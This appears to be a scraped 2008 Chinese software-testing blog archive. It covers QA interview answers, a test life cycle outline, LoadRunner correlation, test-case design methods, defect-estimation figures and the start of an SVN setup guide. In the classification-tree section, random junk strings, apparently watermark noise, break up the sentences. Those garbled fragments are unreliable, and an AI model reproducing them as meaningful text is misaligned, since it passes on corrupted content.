    7 Function MakeString(inputlength) 随机生成字符串 字符串长度  随机字符串
    8 Sub ZYGLQ() 启动资源管理器     
    9 Sub Run() 启动运行     
    10 "SendMail(SendTo, Subject, Body, Attachment)" 调用outlook发送电子邮件 收件人 主题 邮件内容 附件 
    11 "Function NoRepeat(Inp,Sp)" 去掉字符串中的重复项 输入字符串  字符串分隔符  无重复的字符串
    12 Function GetLen(Str) 求字符串长度(中文算2个西文字符) 输入字符串    
    13 Sub RunApp(command) 运行指定程序  运行程序名    
    14 Function Nextday(ByVal inputday)  求下一天是几号的函数 原始日期  原始日期后一天的日期
    15 Function ISLeapYear(ByVal inYear) 判断是否闰年 年份 true:是闰年  false:非闰年
    16 "Function Days(SourceData, DesData)" 计算两个日期之间相隔几天  初时日期  目的日期  相隔天数
    17 Function Identification(Text1) 检查身份证号是否正确 身份证号  正确:true  错误:false
    18 "Access_GetCount(DBlocation,TableName,Value)" 查询Access数据库字符出现次数  数据库存放位置  表名 
    查询的值  返回值出现的次数
    19 Function checkString (myString) 检查是否存在数字  输入字符串  true:存在数字 false:不存在数字
    20 "Function BubbleSort(VString,Spl,Func)" 按ASCII码值冒泡排序  待排序的字符串  分隔符  排序方式:
    1降序,2升序 排序完的序列

  • 软件测试面试题目一

    2008-04-05 23:01:35

    1.阶段评审与同行评审的区别?
    参考答案:
        同行评审目的:发现小规模工作产品的错误,只要是找错误;
        阶段评审目的:评审模块 阶段作品的正确性 可行性 及完整性

        同行评审人数:3-7人 人员必须经过同行评审会议的培训,由SQA指导
        阶段评审人数:5人左右 评审人必须是专家 具有系统评审资格

        同行评审内容:内容小 一般文档 <  40页, 代码 < 500行
        阶段评审内容: 内容多,主要看重点

        同行评审时间:一小部分工作产品完成
        阶段评审时间: 通常是设置在关键路径的时间点上

    2.什么是软件测试及其目的?
    参考答案:
       软件测试是使用人工或自动化手段来运行或测定某个系统的过程.其目的是:在于检验它是否能满足规定的需求或是弄清楚预期结果与实际结果之间的差别.
    3.简述集成测试的过程?
    参考答案:
        集成测试流程:
         在完成软件的概要设计后,即开始制定集成测试计划-》设计集成测试用例和测试过程-》实施集成测试,设计所需驱动和桩-》执行集成测试,记录测试结果-》评估集成测试,根据测试结果评估此次测试,生成评估报告文档。(驱动或桩函数是做单元测试时要用到的.驱动函数是所测4函数的主程序,它接收测试数据,并把数据传送给所测试单元,最后再输出实测结果.当被测单元能完成相关功能时,也可以不要驱动单元.
    桩,是用来代替所测试单元调用的子单元
    .)
    4.白盒测试有那几种方法:代码审查,语句覆盖,判定覆盖,条件覆盖,组合覆盖,基本路径,形式化方法,符号执行
    5.简述测试目标有哪些类型?
    参考答案:
        功能测试,负载测试,性能测试,安全性测试,恢复测试,安装测试,兼容性测试,可用性测试,可靠性测试,国际化测试,本地化测试.
    6.怎么样做好文档测试?
    参考答案:
        文档的测试主要采用静态测试即走查的方法,可以依据的是同行评审,列出一个检查表,然后大家一起坐下来对着被测试的文档进行阅读排错。通常文档都很长,而一般的建议是一次同行评审步的时间不能超过两个小时,因此可以对被测试文档执行测试时,列个计划,将总的文档分解,按照计划多次对被测试的文档进行走查。
    7.测试结束的标准是什么?
    参考答案:
    从项目周期看:
    1、超出了所分配的测试时间;
    2、用尽了分配的测试资源;
    3、到达了某一个固定的里程碑(如合同规定的交付日期)。

    从测试角度看:
    1、测试需求覆盖率;
    2、测试代码覆盖率;
    3、测试用例度量;
    4、缺陷检查度量
    8.Alpha 测试与Beta测试的区别?
    参考答案:
        Alpha测试是由一个用户在开发环境下进行的测试,也可以是公司内部的用户在模拟实际操作环境下进行的受控测试Alpha测试不能由程序员或测试员完成。Alpha测试发现的错误,可以在测试现场立刻反馈给开发人员,由开发人员及时分析和处理。目的是评价软件产品的功能、可使用性、可靠性、性能和支持。尤其注重产品的界面和特色。Alpha测试可以从软件产品编码结束之后开始,或在模块(子系统)测试完成后开始,也可以在确认测试过程中产品达到一定的稳定和可靠程度之后再开始。有关的手册(草稿)等应该在Alpha测试前准备好。

    Beta测试是软件的多个用户在一个或多个用户的实际使用环境下进行的测试。开发者通常不在测试现场,Beta测试不能由程序员或测试员完成。因而,Beta测试是在开发者无法控制的环境下进行的软件现场应用。在Beta测试中,由用户记下遇到的所有问题,包括真实的以及主管认定的,定期向开发者报告,开发者在综合用户的报告后,做出修改,最后将软件产品交付给全体用户使用。Beta测试着重于产品的支持性,包括文档、客户培训和支持产品的生产能力。只有当Alpha测试达到一定的可靠程度后,才能开始Beta测试。由于Beta测试的主要目标是测试可支持性,所以Beta测试应该尽可能由主持产品发行的人员来管理。

    9.系统测试计划是否需要同行审批,为什么
    参考答案:
    需要,系统测试计划属于项目阶段性关键文档,因此需要评审。

    10.比较负载测试,容量测试和强度测试的区别?
    参考答案:
    负载测试:在一定的工作负荷下,系统的负荷及响应时间。
    强度测试:在一定的负荷条件下,在较长时间跨度内的系统连续运行给系统性能所造成的影响。
    容量测试:容量测试目的是通过测试预先分析出反映软件系统应用特征的某项指标的极限值(如最大并发用户数、数据库记录数等),系统在其极限值状态下没有出现任何软件故障或还能保持主要功能正常运行。容量测试还将确定测试对象在给定时间内能够持续处理的最大负载或工作量。容量测试的目的是使系统承受超额的数据容量来发现它是否能够正确处理。容量测试是面向数据的,并且它的目的是显示系统可以处理目标内确定的数据容量。

  • 收藏---老外写的测试生命周期

    2008-04-04 20:41:49

    Software Testing Release Life Cycle

     

    Software Testing Life Cycle consist of six (generic) phases: 1) Planning, 2) Analysis, 3) Design, 4) Construction, 5) Testing Cycles, 6) Final Testing and Implementation and 7) Post Implementation.

    1.                Planning ( Product Definition Phase)

    1.1.             High Level Test Plan, (includes multiple test cycles)

    1.2.             Quality Assurance Plan (Quality goals, Beta criteria, etc ..)

    1.3.             Identify when reviews will be held.

    1.4.             Problem Reporting Procedures

    1.5.             Identify Problem Classification.

    1.6.             Identify Acceptance Criteria - for QA and Users.

    1.7.             Identify application testing databases

    1.8.             Identify measurement criteria, i.e. defect quantities/severity level and defect origin (to name a few).

    1.9.             Identify metrics for the project

    1.10.          Begin overall testing project schedule (time, resources etc.)

    1.11.          Requisite: Review Product Definition Document

    1.11.1.        QA input to document as part of the Process Improvement Project

    1.11.2.        Help determine scope issues based on Features of the Product

    1.11.3.        5 - 10 hours / month approximately

     

    1.12.          Plan to manage all test cases in a database, both manual or automated.

     

     

    2.Analysis ( External Document Phase)

     

    2.1.             Develop Functional validation matrix based on Business Requirements.

    2.2.             Develop Test Case format - time estimates and priority assignments.

    2.3.             Develop Test Cycles matrices and time lines

    2.4.             Begin writing Test Cases based on Functional Validation matrix

    2.5.             Map baseline data to test cases to business requirements

    2.6.             Identify test cases to automate.

    2.7.             Automation team begin to setup variable files and high level scrīpts in AutoTester.

    2.8.             Setup TRACK and AutoAdviser for tracking components of automated system.

    2.9.             Define area for Stress and Performance testing.

    2.10.          Begin development of Baseline Database as per test case data requirements.

    2.11.          Define procedures for Baseline Data maintenance, i.e. backup, restore, validate.

    2.12.          Begin planning the number of test cycles required for the project, and Regression Testing.

    2.13.          Begin review of documentation, i.e. Functional Design, Business Requirements, Product Specifications, Product Externals etc..

    2.14.          Review test environments and lab, both Front End and Back End.

    2.15.          Prepare for using McCabe tool to support development in white box testing and code complexity analysis.

    2.16.          Setup Requite and start inputting documents.

    2.17.          Requisite: Review Externals Document

    2.17.1.        QA input to document as part of the Process Improvement Project

    2.17.2.        Start to write test cases from Action Response Pair Groups

    2.17.3.        Start to develop metrics based on estimated number of test cases, time to execute each case and if it is “automatable” .

    2.17.4.        Define baseline data for each test case

    2.17.5.        25 hours / month approximately

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    3.           Design (Architecture Document Phase)

    3.1.             Revise Test Plan based on changes.

    3.2.             Revise Test Cycle matrices and timelines

    3.3.             Verify that Test Plan and cases are in a database or Requisite.

    3.4.             Revise Functional Matrix

    3.5.             Continual to write out test cases and add new ones based on changes.

    3.6.             Develop Risk Assessment Criteria

    3.7.             Formalize details for automated testing and multi-user testing.

    3.8.             Select set of test cases to automate and begin scrīpting them.

    3.9.             Formalize detail for Stress and Performance testing

    3.10.          Finalize test cycles. (number of test case per cycle based on time estimates per test case and priority.)

    3.11.          Finalize the Test Plan

    3.12.          (Estimate resources to support development in unit testing)

    3.13.          Requisite: Review Architecture Document

    3.13.1.        QA input to document as part of the Process Improvement Project

    3.13.2.        Actual components or modules that development will code.

    3.13.3.        Unit testing standard defined here, pass/fail criteria, etc.

    3.13.4.        Unit testing reports, what they will look like,  for both white and black box testing including input/outputs and all decision points.

    3.13.5.        List of modules that will be unit tested. 

     

     

     

     

     

     

     

     

     

     

     

     

    4.                Construction (Unit Testing Phase)

    4.1.             Complete all plans

    4.2.             Complete Test Cycle matrices and timelines

    4.3.             Complete all test cases. (manual)

    4.4.             Complete AutoTester scrīpting of first set of automated test cases.

    4.5.             Complete plans for Stress and Performance testing

    4.6.             Begin Stress and Performance testing

    4.7.             McCabe tool support - supply metrics

    4.8.             Test the automated testing system and fix bugs.

    4.9.             (Support development in unit testing)

    4.10.          Run QA Acceptance test suite to certify software is ready to turn over to QA.

     

    5.                Test Cycle(s) / Bug Fixes (Re-Testing/System Testing Phase)

    5.1.             Test Cycle 1, run first set of test cases (front and back end)

    5.2.             Report bugs

    5.3.             Bug Verification - ongoing activity

    5.4.             Revise test cases as required

    5.5.             Add test cases as required

    5.6.             Test Cycle II

    5.7.             Test Cycle III

     

     

     

     

     

     

     

     

     

     

     

     

     

    6.                Final Testing and Implementation (Code Freeze Phase)

    6.1.             Execution of all front end test cases - manual and automated.

    6.2.             Execution of all back end test cases - manual and automated.

    6.3.             Execute all Stress and Performance tests.

    6.4.             Provide on-going defect tracking metrics.

    6.5.             Provide on-going complexity and design metrics.

    6.6.             Update estimates for test cases and test plans.

    6.7.             Document test cycles, regression testing,  and update accordingly.

     

     

     

     

     

    7.                Post Implementation

    7.1.             Post implementation evaluation meeting to review entire project. (lessons learned)

    7.2.             Prepare final Defect Report and associated metrics.

    7.3.             Identify strategies to prevent similar problems in future project.

    7.4.             Create plan with goals and milestone how to improve processes.

    7.5.             McCabe tools - produce final reports and analysis.

    7.6.             Automation team - 1) Review test cases to evaluate other cases to be automated for regression testing, 2) Clean up automated test cases and variables, and 3) Review process of integrating results from automated testing in with results from manual testing.

     

     

     

     

     

     

     

    http://www.qltesting.cn

  • 关于LoadRunner中使用关联的解释(搜集...)

    2008-04-03 10:52:30

    所谓的关联(correlation)就是把脚本中一些写死的(hard-coded)数据,转变成是撷取自服务器所送的、动态的、每次都不一样的数据。

    举一个常见的例子,刚刚提到有些比较聪明的服务器,这些服务器在每个浏览器第一次跟它要数据时,都会在数据中夹带一个唯一的辨识码,接下来就会利用这个辨识码来辨识跟它要数据的是不是同一个浏览器。一般称这个辨识码为Session ID。对于每个新的交易,服务器都会产生新的Session ID给浏览器。这也就是为什么执行脚本会失败的原因,因为VuGen还是用旧的Session ID向服务器要数据,服务器会发现这个Session ID是失效的或是它根本不认识这个Session ID,当然就不会传送正确的网页数据给VuGen了。

    下面的图示说明了这样的情形:

    当录制脚本时,浏览器送出网页A的请求,服务器将网页A的内容传送给浏览器,并且夹带了一个ID=123的数据,当浏览器再送出网页B的请求时,这时就要用到ID=123的数据,服务器才会认为这是合法的请求,并且把网页B的内容送回给浏览器。

    在执行脚本时会发生什么状况?浏览器再送出网页B的请求时,用的还是当初录制的ID=123的数据,而不是用服务器新给的ID=456,整个脚本的执行就会失败。

    要对付这种服务器,我们必须想办法找出这个Session ID到底是什么、位于何处,然后把它撷取下来,放到某个参数中,并且取代掉脚本中有用到Session ID的部份,这样就可以成功骗过服务器,正确地完成整个交易了。

    哪些错误代表着我应该做关联(correlation)?

    假如脚本需要关联(correlation),在还没做之前是不会执行通过的,也就是说会有错误讯息发生。不过,很不幸地,并没有任何特定的错误讯息是和关联(correlation)有关系的。会出现什么错误讯息,与系统实做的错误处理机制有关。错误讯息有可能会提醒您要重新登入,但是也有可能直接就显示HTTP 404的错误讯息。

    要如何做关联(correlation)?

    关联(correlation)函数

    关联(correlation)会用到下列的函数:

    • web_reg_save_param:这是最新版,也是最常用来做关联(correlation)的函数。
      语法:
      web_reg_save_param ( “Parameter Name” , < list of Attributes >, LAST );
    • web_create_html_paramweb_create_html_param_ex:这二个函数主要是保留作为向前兼容的目的的。建议使用 web_reg_save_param 函数。

    详细用法请参考使用手册。在VuGen中点选【Help>Function reference>Contexts>Web and Wireless Vuser Functions>Correlation Functions】。

    自动关联

    VuGen内建自动关联引擎(auto-correlation engine),可以自动找出需要关联的值,并且自动使用关联函数建立关联。

    自动关联提供下列二种机制:

    • Rules Correlation:在录制过程中VuGen会根据订定的规则,实时自动找出要关联的值。规则来源有两种:
      • 内建(Built-in Correlation
        VuGen
        已经针对常用的一些应用系统,如AribaBuyerBlueMartiniBroadVisionInterStagemySAPNetDynamicsOraclePeopleSoftSiebelSilverJRunner等,内建关联规则,这些应用系统可能会有一种以上的关联规则。您可以在【Recording Options>Internet Protocol>Correlation】中启用关联规则,则当录制这些应用系统的脚本时,VuGen会在脚本中自动建立关联。
        您也可以在【Recording Options>Internet Protocol>Correlation】检视每个关联规则的定义。
      • 使用者自订(User-defined Rules Correlation
        除了内建的关联规则之外,使用者也可以自订关联规则。您可以在【Recording Options>Internet Protocol>Correlation】建立新的关联规则。
    • Correlation Studio:有别于Rules CorrelationCorrelation Studio则是在执行脚本后才会建立关联,也就是说当录制完脚本后,脚本至少须被执行过一次,Correlation Studio才会作用。Correlation Studio会尝试找出录制时与执行时,服务器响应内容的差异部分,藉以找出需要关联的数据,并建立关联。

    Rule Correlation

    请依照以下步骤使用Rule Correlation

    1. 启用auto-correlation
      1. 点选VuGen的【Tools>Recording Options】,开启【Recording Options】对话窗口,选取【Internet Protocol>Correlation】,勾选【Enable correlation during recording】,以启用自动关联。
      2. 假如录制的应用系统属于内建关联规则的系统,如AribaBuyerBlueMartiniBroadVisionInterStagemySAPNetDynamicsOraclePeopleSoftSiebelSilverJRunner等,请勾选相对应的应用系统。
      3. 或者也可以针对录制的应用系统加入新的关联规则,此即为使用者自订的关联规则。
      4. 设定当VuGen侦测到符合关联规则的数据时,要如何处理:
        • Issue a pop-up message and let me decide online】:跳出一个讯息对话窗口,询问您是否要建立关联。

    Perform correlation in sceipt】:直接自动建立关联

    使用WinDiff工具协助找出需要关联的数据

    1. 在第二份脚本中,点选VuGen的【Tools】>【Compare with Vuser…】,并选择第一份脚本。
    2. 接着WinDiff会开启,同时显示二份脚本,并显示有差异的地方。WinDiff会以一整行黄色标示有差异的脚本,并且以红色的字体显示真正差异的文字。(假如没看到红色字体,请点选【Options】>【View】>【Show Inline Differences】)。

    逐一检视二份脚本中差异的部份,每一个差异都可能是需要做关联的地方。选取差异的脚本,然后复制。
    在复制时,有时并不需要取整行脚本,可能只会选取脚本中的一部分。

     

  • 测试用例编写方法参考

    2008-03-30 21:12:02

    第一章测试用例的概念

    1.概述

    Grenford J. Myers在《The Art of Software Testing》一书中提出:一个好的测试用例是指很可能找到迄今为止尚未发现的错误的测试,由此可见测试用例设计工作在整个测试过程中的地位,我们不能只凭借一些主观或直观的想法来设计测试用例,应该要以一些比较成熟的测试用例设计方法为指导,再加上设计人员个人的经验积累来设计测试用例,二者相结合应该是非常完美的组合。本文所介绍的测试用例设计方法对于测试设计人员将是一个很好的方法指导,当然看完本文也未必能设计出好的测试用例,有了好的方法作为指导后需要更多的实践经验加以巩固和提炼。只有将测试设计思想与丰富的实践经验相融合才能设计出高质量的测试用例,相信你行!

    本文描述的范围:测试用例基本概念、测试用例设计方法、测试用例设计综合策略。

        关键词:测试用例、等价类划分、边界值分析、错误推测、因果图、判定表驱动分析、正交实验、功能图分析、场景设计

     

    2.测试用例基本概念

    2.1 测试用例的定义

    测试用例是为特定的目的而设计的一组测试输入、执行条件和预期的结果。测试用例是执行的最小实体。简单地说,测试用例就是设计一个场景,使软件程序在这种场景下,必须能够正常运行并且达到程序所设计的执行结果。

     

    2.2 测试用例的特征

    1.最有可能抓住错误的;

    2.不是重复的、多余的;

    3.一组相似测试用例中最有效的;

    4.既不是太简单,也不是太复杂。

     

    2.3 测试用例组成元素

    1.用例ID

    2.用例名称;

    3.测试目的;

    4.测试级别;

    5.参考信息;

    6.测试环境;

    7.前提条件;

    8.测试步骤;

    9.预期结果;

    10.设计人员。

     

    2.4 测试用例设计原则

    1.测试用例的代表性:能够代表并覆盖各种合理的和不合理的、合法的和非法的、边界的和越界的以及极限的输入数据、操作和环境设置等。

    2.测试结果的可判定性:即测试执行结果的正确性是可判定的,每一个测试用例都应有相应的期望结果。

    3.测试结果的可再现性:即对同样的测试用例,系统的执行结果应当是相同的。

     

     

    第二章 测试用例的编写方法

    利用分类树方法设计测试用例

    什么是分类数

    o"G7p2IB Mx0什么是分类树?设想你希望设计出一个系统用于把一堆的美金硬币分成不同的类别(例如:一分币、五分币、一角币、二角五分币)。假设通过一些测量手段可以区别这些硬币,例如可以用直径来分类。你可以把硬币倒入一个槽,槽的直径恰好能让一角的硬币通过,如果能通过,那么它就被划分为一角的硬币;否则就继续倒入另外一个槽,槽的直径恰好能让一分币的硬币通过,如果能通过,则被分类成一分币;否则又继续下一个槽,这个槽的直径只容五分币大小的通过,如此类推。这样的过程实际上就是在构造一棵分类树。用于构造分类树的判断过程提供了一种有效的方法用于把一堆的硬币归类,而这种方式可以用于更广泛的各种各样的分类问题。51Testing软件测试网SS0DIz7@9I m-il

    51Testing软件测试网$?|X)b.@分类树被广泛应用于各种学科,例如医疗诊断、计算机数据结构、植物分类、心理学的决策论等。我们现在要讨论的是分类树在测试用例的设计方面的应用。

    分类树方法用于测试用例的设计

    0O${[1]Ip0\-KD0测试用例的设计是对测试质量而言非常关键的软件测试活动,因为测试用例集合的选择对测试的深度和测试范围的影响非常大。

    [1]QC:^51Testing软件测试网*分类树方法是由GrochtmannGrimm1993年提出的,是在软件功能测试方面一种有效的测试方法,通过分类树把测试对象的整个输入域分割成独立的类。51Testing软件测试网u+W!}N qn

        51Testing软件测试网/If@-@/t|wz按照分类树方法,测试对象的输入域被认为是由各种不同的方面组成并且都与测试相关。对于每个方面,分离和组成各种类别,而分类结果的各类又可能再进一步地被分类。这种通过对输入域进行层梯式的分类表现为树状结构。随后,通过组合各种不同分类的结果来形成测试用例。

    ,K dI|{*p0    FH t u]‑O


    r&e0使用分类树方法,对于测试人员来说最重要的信息来源是测试对象的功能规格说明书。使用分类树方法的一个重要的好处是:它把测试用例设计转变成一个组合若干结构化和系统化的测试对象组成部分的过程 - 使其容易把握,易于理解,当然也易于文档化。

    如何使用分类树方法设计测试用例?

    1x1g9oLtf0分类树方法的基本原理是:首先把测试对象的可能输入按照不同的分类方式进行分类,每一种分类要考虑的是测试对象的不同的方面。然后把各种分开的输入组合在一起产生不冗余的测试用例,同时又能覆盖测试对象的整个输入域。51Testing软件测试网+x


    l kF
    w ?W

         9Y
    Z:C W pI6}Qa@(j0
    因此,可以把使用分类树方法设计测试用例的过程分为3大步骤:

    {%F/b;p5]%eZ01、识别出测试对象并分析输入空间。

    51Testing软件测试网e/d!~"H(?4W A2、对测试对象的输入空间进行分类。51Testing软件测试网u
    I
    ch[1]a M)Yr%lL

    3、画出分类树、组合成测试用例。

    3、        51Testing软件测试网 l9]:k7[%s(A8wmL

    451Testing软件测试网
    H-w(}FA5m4
    在第一个步骤中,测试人员需要确定与测试相关的方面。每个方面应该有精确的限制,从而可以清晰地区别测试对象的可能输入。例如,上图中的大小(Size)、颜色(Colour)、形状(Shape)共同组成了测试对象的可能输入的方面。

    5、q~)@ K(51Testing软件测试网 D1d#\ I;g1O:~­在接下来的步骤,依据测试对象的每个方面对可能的输入进行划分,这个划分就是数学上说的"分类"。分类的结果就形成了各种""。因此一个"分类"的结果代表了测试对象的某个方面的输入。例如,大小(Size)方面的可能输入是大(Large)或者小(Small);颜色(Colour)方面的可能输入是红色(Red)、绿色(Green)、蓝色(Blue)等。

    6、#u!y
    A m R­?tW l0L8o;k5B"pS0
    最后一个步骤是形成测试用例。测试用例是由不同分类的类组合形成,在组合类的时候需要注意逻辑兼容性,也就是说交集不能为空。测试人员组合类形成需要的测试用例,以便覆盖测试对象的所有方面并充分考虑它们的组合。例如,测试用例1就考虑了大尺寸、红颜色、圆形的输入。

    分类树方法测试用例设计的工具

    +SF O3E7?.h |6^


    S8{0    *e(pL J n­E7W0} oD k%a9a0如果测试用例是依据软件功能规格来设计的,那么我们叫这种类型的测试为功能测试。虽然功能测试对于验证系统非常重要并且广泛应用在测试中,但是只有很少的方法和工具可以系统地产生相应的测试用例。

    TVD\.P G;b r­Q


    Y0    $_5I \\-z|y:J0CTE XLClassification Tree Editor eXtended Logics)是为数不多的工具之一。它是一个语法控制的、图形化的编辑器。帮助我们更加有效地使用分类树方法进行测试用例的设计。

    5myFa­`8Kc;B0    51Testing软件测试网"@e'^!d~d‑B,PA工具的使用方法比较简单,下面作简要的介绍。

    { v Z‑Aa8k‑I1jZP(x0h01、首先创建测试对象,如下图所示,创建一个测试对象Block,并开始进行分类。

    -z?F]CwC t0

    W'ZB5L‑t v051Testing软件测试网}*JJ$S Y72、对测试对象进行分类:添加类别元素SizeColourForm,如下图所示。51Testing软件测试网 HE3yX5SJ6` cK

     

    51Testing软件测试网&EN/e
    b


    ?#Bo9U&}3、向各种类别添加类,形成分类树,如下图所示。51Testing软件测试网
    y:K*J:m(z6K&d&|

     

    xDRw.I3W04、添加测试用例,如下图所示。

    "w-Et­E1O0

    51Testing软件测试网


    TGGHJHr5、对于添加的每个测试用例,通过选择并标注各类的组合,形成需要的测试用例,如下图所示。51Testing软件测试网H
    D u3M8i'v B'y'K

    6、最后把测试用例输出到文档,以便将来测试人员按照测试用例文档执行测试。


    U)r&e&M2f1K&l;]0 51Testing软件测试网7~"`fK
    O­O
    [1]G"s

    分类树方法测试用例设计工具的扩展思路

    虽然CTE XL在应用分类树方法进行测试用例设计方面已经很出色,而且考虑到了与测试用例管理、需求管理的整合,考虑到了测试用例组合的自动化,也考虑到了测试用例组合的规则问题。但是我认为在分类树方法的测试用例设计工具的开发上还可以考虑实现更多有用的功能特性。

    \Ig8|j0 51Testing软件测试网X){x%t.qjh首先,可以考虑分类树与软件设计的整合。目前大部分软件企业在软件设计方面都遵循了UML的方式进行设计,能对系统进行详细和深入的分析。而测试用例的设计也是一个由粗到细的设计过程,有些细节不能在需求阶段考虑清楚的,可以在设计阶段借鉴详细设计的结果来指导测试用例的设计。因此如何把UML类图、顶层用例图等直接转换成分类树是一个值得我们考虑的方向。51Testing软件测试网i8y5OQT*py {


    vG;l8u"E C sF+G0
    其次,在测试用例的自动产生方面可以把正交表设计和均匀表设计考虑进去。正交表和均匀表也是很多测试人员使用的测试用例设计方法。正交表的整齐可比性、均匀表的均匀分散性为测试用例的选择筛选提供了有效的途径。它们能使测试用例的设计既不失完整覆盖性,又能有效控制和减少测试用例个数,从而使测试用例的可执行性更强。

    测试用例设计白皮书-等价类划分方法

    .方法简介

     

    1.定义

    是把所有可能的输入数据,即程序的输入域划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例。该方法是一种重要的,常用的黑盒测试用例设计方法。

    2.划分等价类:

        等价类是指某个输入域的子集合。在该子集合中,各个输入数据对于揭露程序中的错误都是等效的,并合理地假定:测试某等价类的代表值就等于对这一类其它值的测试,因此,可以把全部输入数据合理划分为若干等价类,在每一个等价类中取一个数据作为测试的输入条件就可以用少量代表性的测试数据取得较好的测试结果。等价类划分可有两种不同的情况:有效等价类和无效等价类。

    1)有效等价类

    是指对于程序的规格说明来说是合理的、有意义的输入数据构成的集合。利用有效等价类可检验程序是否实现了规格说明中所规定的功能和性能。

    2)无效等价类

    与有效等价类的定义恰巧相反。无效等价类指对程序的规格说明是不合理的或无意义的输入数据所构成的集合。对于具体的问题,无效等价类至少应有一个,也可能有多个。

    设计测试用例时,要同时考虑这两种等价类。因为软件不仅要能接收合理的数据,也要能经受意外的考验,这样的测试才能确保软件具有更高的可靠性。

    3.划分等价类的标准:

    1)完备测试、避免冗余;

    2)划分等价类重要的是:集合的划分,划分为互不相交的一组子集,而子集的并是整个集合;

    3)并是整个集合:完备性;

    4)子集互不相交:保证一种形式的无冗余性;

    5)同一类中标识(选择)一个测试用例,同一等价类中,往往处理相同,相同处理映射到"相同的执行路径"

    4.划分等价类的方法

    1)在输入条件规定了取值范围或值的个数的情况下,则可以确立一个有效等价类和两个无效等价类。如:输入值是学生成绩,范围是0100

     2)在输入条件规定了输入值的集合或者规定了"必须如何"的条件的情况下,可确立一个有效等价类和一个无效等价类;

    3)在输入条件是一个布尔量的情况下,可确定一个有效等价类和一个无效等价类。

    4)在规定了输入数据的一组值(假定n个),并且程序要对每一个输入值分别处理的情况下,可确立n个有效等价类和一个无效等价类。

    例:输入条件说明学历可为:专科、本科、硕士、博士四种之一,则分别取这四种这四个值作为四个有效等价类,另外把四种学历之外的任何学历作为无效等价类。

    5)在规定了输入数据必须遵守的规则的情况下,可确立一个有效等价类(符合规则)和若干个无效等价类(从不同角度违反规则);

    6)在确知已划分的等价类中各元素在程序处理中的方式不同的情况下,则应再将该等价类进一步的划分为更小的等价类。

    5.设计测试用例

    在确立了等价类后,可建立等价类表,列出所有划分出的等价类输入条件:有效等价类、无效等价类,然后从划分出的等价类中按以下三个原则设计测试用例:

    1)为每一个等价类规定一个唯一的编号;

    2)设计一个新的测试用例,使其尽可能多地覆盖尚未被覆盖地有效等价类,重复这一步,直到所有的有效等价类都被覆盖为止;

    3)设计一个新的测试用例,使其仅覆盖一个尚未被覆盖的无效等价类,重复这一步,直到所有的无效等价类都被覆盖为止.

     

    .实战演习

    1.某程序规定:"输入三个整数 a b c 分别作为三边的边长构成三角形。通过程序判定所构成的三角形的类型,当此三角形为一般三角形、等腰三角形及等边三角形时,分别作计算 … "。用等价类划分方法为该程序进行测试用例设计。(三角形问题的复杂之处在于输入与输出之间的关系比较复杂。)
     
    分析题目中给出和隐含的对输入条件的要求:
     
    1)整数    2)三个数    3)非零数   4)正数
      
     
    5)两边之和大于第三边     6)等腰     7)等边

      
    如果 a b c 满足条件( 1 ~ 4 ),则输出下列四种情况之一:

       1)
    如果不满足条件(5),则程序输出为 " 非三角形 "
       2)
    如果三条边相等即满足条件(7),则程序输出为 " 等边三角形 "
       3)
    如果只有两条边相等、即满足条件(6),则程序输出为 " 等腰三角形 "
       4)
    如果三条边都不相等,则程序输出为 " 一般三角形 "
      
    列出等价类表并编号


      
    覆盖有效等价类的测试用例:
        a      b      c             
    覆盖等价类号码
        3      4      5            
    1--7
        4      4      5            
    1--7),(8
        4      5      5            
    1--7),(9   
        5      4      5            
    1--7),(10

        4      4      4            
    1--7),(11
      
    覆盖无效等价类的测试用例:


      


    2.
    设有一个档案管理系统,要求用户输入以年月表示的日期。假设日期限定在19901~204912月,并规定日期由6位数字字符组成,前4位表示年,后2位表示月。现用等价类划分法设计测试用例,来测试程序的"日期检查功能"
      1)
    划分等价类并编号,下表等价类划分的结果

    输入等价类

    有效等价类

    无效等价类

    日期的类型及长度

    6位数字字符

    ②有非数字字符

    ③少于6位数字字符

    ④多于6位数字字符

    年份范围

    ⑤在1990~2049之间

    ⑥小于1990

    ⑦大于2049

    月份范围

    ⑧在01~12之间

    ⑨等于00

    ⑩大于12

      2)设计测试用例,以便覆盖所有的有效等价类在表中列出了3个有效等价类,编号分别为①、⑤、⑧,设计的测试用例如下:
       
    测试数据    期望结果      覆盖的有效等价类
        200211     
    输入有效      ①、⑤、⑧
    查看(901) 评论(1) 收藏 分享 管理

  • 测试缺陷,你是否彻底发现了?

    2008-03-07 21:51:12

    相信大家在做测试的时候,公司会通过缺陷管理工具来统计,分析,提交BUG报告,有些公司通过这些来考察员工的工作绩效,不知道大家公司在测试的时候究竟找出了多少缺陷呢?下面我们来看看,找缺陷大家是否彻底了呢:

    首先,我们来看看软件缺陷的估算方法:

        B=1/2(n/m+n/2m) 其中:n>m,m是复杂性系数,一般取值200LOC~400LOC,LOC单位代表:源代码行数; n是软件的复杂度,一般用源代码总行数来表示.

        例如一个10万行级的代码程序,大概存在如下数目的缺陷:

         B=1/2(100000/200~400+100000/400~800)
          =187.5~375(个)

    但是软件错误按开发阶段进行分类,又可以分为:计划错误,需求分析错误,设计错误,编码错误,测试错误,运行与维护错误等.

    例如:有一个6877000行源代码程序被发现了含有16029个错误,分析后如下:

    1.软件需求错误:1317个  8.2%
    2.功能和性能错误: 2624个 16.1%
    3.结构错误: 4082个 25.2%
    4.数据错误(数据库设计): 3638个 22.4%
    5.实现和编码错误: 1601个 9.9%
    6.集成错误: 1455个 9.0%
    7.系统结构: 282个 1.7%
    8.测试定义与执行: 447个 2.8%
    9.其他类型: 763个 4.7%

    假如你公司只做黑盒测试,呵呵,恭喜你,你们只找到了4000多个Bug. 如果贵公司又做白盒测试,恭喜你,找到了70%多的Bug,最后,如果还做数据库测试的话,又可以多找到3000多个拉.
    所以有时候说测试是不能100%的,很多时候我们只是做了其中一少部分的工作,还有很多隐藏的缺陷随时都有可能被触发......

  • SVN安装配置说明--转载51testing

    2008-03-05 17:26:19

    目组做项目文档等资源管理,原计划使用VSS,因找不到VSS Server安装文件(目前很多人手中有的都是VSS客户端安装文件),决定改用SVN。SVN是CVS的升级版,功能完善了很多,又是开源的。下面对SVN的安装及配置进行详细说明(基于Windows 平台):
    一.软件版本
      1.svn服务器:
      svn-1.4.5-setup.rar                                (http://www.cnblogs.com/Files/changchangcc520/svn-1.4.5-setup.rar
      2.svn客户端:
      TortoiseSVN-1.4.5.10425-win32-svn-1.4.5.rar(http://www.cnblogs.com/Files/cha ... win32-svn-1.4.5.rar)
      3.配置svn服务成window service自动运行的工具:
